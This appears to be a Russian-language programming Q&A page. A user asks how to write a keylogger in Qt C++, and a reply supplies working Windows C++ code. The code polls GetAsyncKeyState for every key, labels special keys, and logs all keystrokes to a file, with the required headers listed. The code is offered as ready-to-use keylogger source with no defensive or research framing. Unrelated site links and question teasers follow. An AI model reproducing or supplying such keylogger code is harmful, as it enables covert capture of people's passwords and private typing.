Нужно написать keylogger в qt c++. Как это можно сделать? Какие библиотеки нужно подключать?
vector<char>truechar
{
'q','w','e','r','t','y','u','i','o','p',
'a','s','d','f','g','h','j','k','l',
'z','x','c','v','b','n','m',
'Q','W','E','R','T','Y','U','I','O','P',
'A','S','D','F','G','H','J','K','L',
'Z','X','C','V','B','N','M',
'1','2','3','4','5','6','7','8','9','0',
};
void keyLog()
{
for (int i = 0; i < 255; i++)
{
int state = GetAsyncKeyState(i);
if (state == 1 || state == -32767)
{
switch (i)
{
case VK_SPACE: fout << "[SPACE]";
break;
case VK_TAB: fout << "[TAB]";
break;
case VK_DELETE: fout << "[DEL]";
break;
case VK_BACK: fout << "[BACK]";
break;
case VK_RETURN: fout << "[ENTER]";
break;
case VK_LBUTTON: fout << "[LBUT]";
break;
case VK_RBUTTON: fout << "[RBUT]";
break;
case VK_CAPITAL: fout << "[CAPS]";
break;
case VK_MENU: fout << "[ALT]";
break;
case VK_RMENU: fout << "[rALT]";
break;
case VK_CONTROL: fout << "[CTRL]";
break;
case VK_RCONTROL: fout << "[rCTRL]";
break;
case VK_INSERT: fout << "[INSERT]";
break;
case VK_HOME: fout << "[HOME]";
break;
case VK_END: fout << "[END]";
break;
case VK_UP: fout << "[UP]";
break;
case VK_DOWN: fout << "[DOWN]";
break;
case VK_LEFT: fout << "[LEFT]";
break;
case VK_RIGHT: fout << "[RIGHT]";
break;
case VK_SHIFT: fout << "[SHIFT]";
break;
case VK_RSHIFT: fout << "[rSHIFT]";
break;
case VK_NUMPAD0: fout << "0";
break;
case VK_NUMPAD1: fout << "1";
break;
case VK_NUMPAD2: fout << "2";
break;
case VK_NUMPAD3: fout << "3";
break;
case VK_NUMPAD4: fout << "4";
break;
case VK_NUMPAD5: fout << "5";
break;
case VK_NUMPAD6: fout << "6";
break;
case VK_NUMPAD7: fout << "7";
break;
case VK_NUMPAD8: fout << "8";
break;
case VK_NUMPAD9: fout << "9";
break;
case VK_DECIMAL: fout << ".";
break;
case VK_VOLUME_UP: fout << "{VOLUME+}";
break;
case VK_VOLUME_DOWN: fout << "{VOLUME-}";
break;
case VK_VOLUME_MUTE: fout << "{VOLUME=}";
break;
case 191: fout << "/";
break;
case 221: fout << "]";
break;
case 219: fout << "[";
break;
default: {
if (std::find(truechar.begin(), truechar.end(), char(i)) != truechar.end())
fout << char(i);
}
}
fout.flush();
}
}
Вот пример кейлогера, который ловит все нажатые клавиши в виндовсе и сохраняет в файл(к тому же фильтрует от мусора и не нужных клавиш), библиотеки который юзал:
#include <windows.h>
#include <fstream>
#include <thread> // для потоков
#include <vector>
Кофе для программистов: как напиток влияет на продуктивность кодеров?
Рекламные вывески: как привлечь внимание и увеличить продажи
Стратегії та тренди в SMM - Технології, що формують майбутнє сьогодні
Выделенный сервер, что это, для чего нужен и какие характеристики важны?
Современные решения для бизнеса: как облачные и виртуальные технологии меняют рынок
начал изучать QtПреподаватель дал готовый код калькулятора на 4
Программа пытается запуститься, но не запускаетсяКомпилируется с предупреждением что не тестировалось в Windows 8, но у меня 10
Я рисую прямоугольники с использованием Canvas, динамически перемещаю и изменяю SurfaceView, я использую кнопку для сохранения("Save")